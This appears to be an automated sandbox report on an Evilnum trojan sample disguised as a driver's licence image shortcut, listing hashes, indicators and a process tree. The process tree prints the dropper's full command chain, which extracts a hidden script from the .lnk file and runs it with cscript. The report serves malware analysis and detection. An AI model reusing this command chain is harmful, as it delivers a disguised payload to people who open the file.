evilnum | 88537039a4b87ff55ef9a57c21f728ecf90e40e532486913d763e16db04ccac4

Analysis

Target
88537039a4b87ff55ef9a57c21f728ecf90e40e532486913d763e16db04ccac4.lnk
Size 260KB
Sample220124-gq8aksdcep
SHA256 88537039a4b87ff55ef9a57c21f728ecf90e40e532486913d763e16db04ccac4
MD5 2eb0c0ddcdfcb18412afa1d79e16c206
SHA1 de0ff4b04f05482ade4cf3ba765a453818f6858e
SHA512 b450b940fb90e4d086ddc85b2508ec9b5bef64d009eedd7a9d012fc354035a8fa0bbe55cd962075256851149c6e8f52cc50375b43a93d75cce95690cc1d493d3
MD5 SHA1 SHA512

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 1004	3068	cmd.exe	70
PID 3068 wrote to memory of 1004	3068	cmd.exe	70
PID 1004 wrote to memory of 3912	1004	cmd.exe	71
PID 1004 wrote to memory of 3912	1004	cmd.exe	71
PID 1004 wrote to memory of 1312	1004	cmd.exe	72
PID 1004 wrote to memory of 1312	1004	cmd.exe	72
PID 1004 wrote to memory of 1188	1004	cmd.exe	73
PID 1004 wrote to memory of 1188	1004	cmd.exe	73
PID 1004 wrote to memory of 2620	1004	cmd.exe	74
PID 1004 wrote to memory of 2620	1004	cmd.exe	74
PID 1004 wrote to memory of 792	1004	cmd.exe	75
PID 1004 wrote to memory of 792	1004	cmd.exe	75

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\88537039a4b87ff55ef9a57c21f728ecf90e40e532486913d763e16db04ccac4.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Driv License Back.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Driv*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Driv*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:3912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:1312
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:1188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:2620
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:792

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact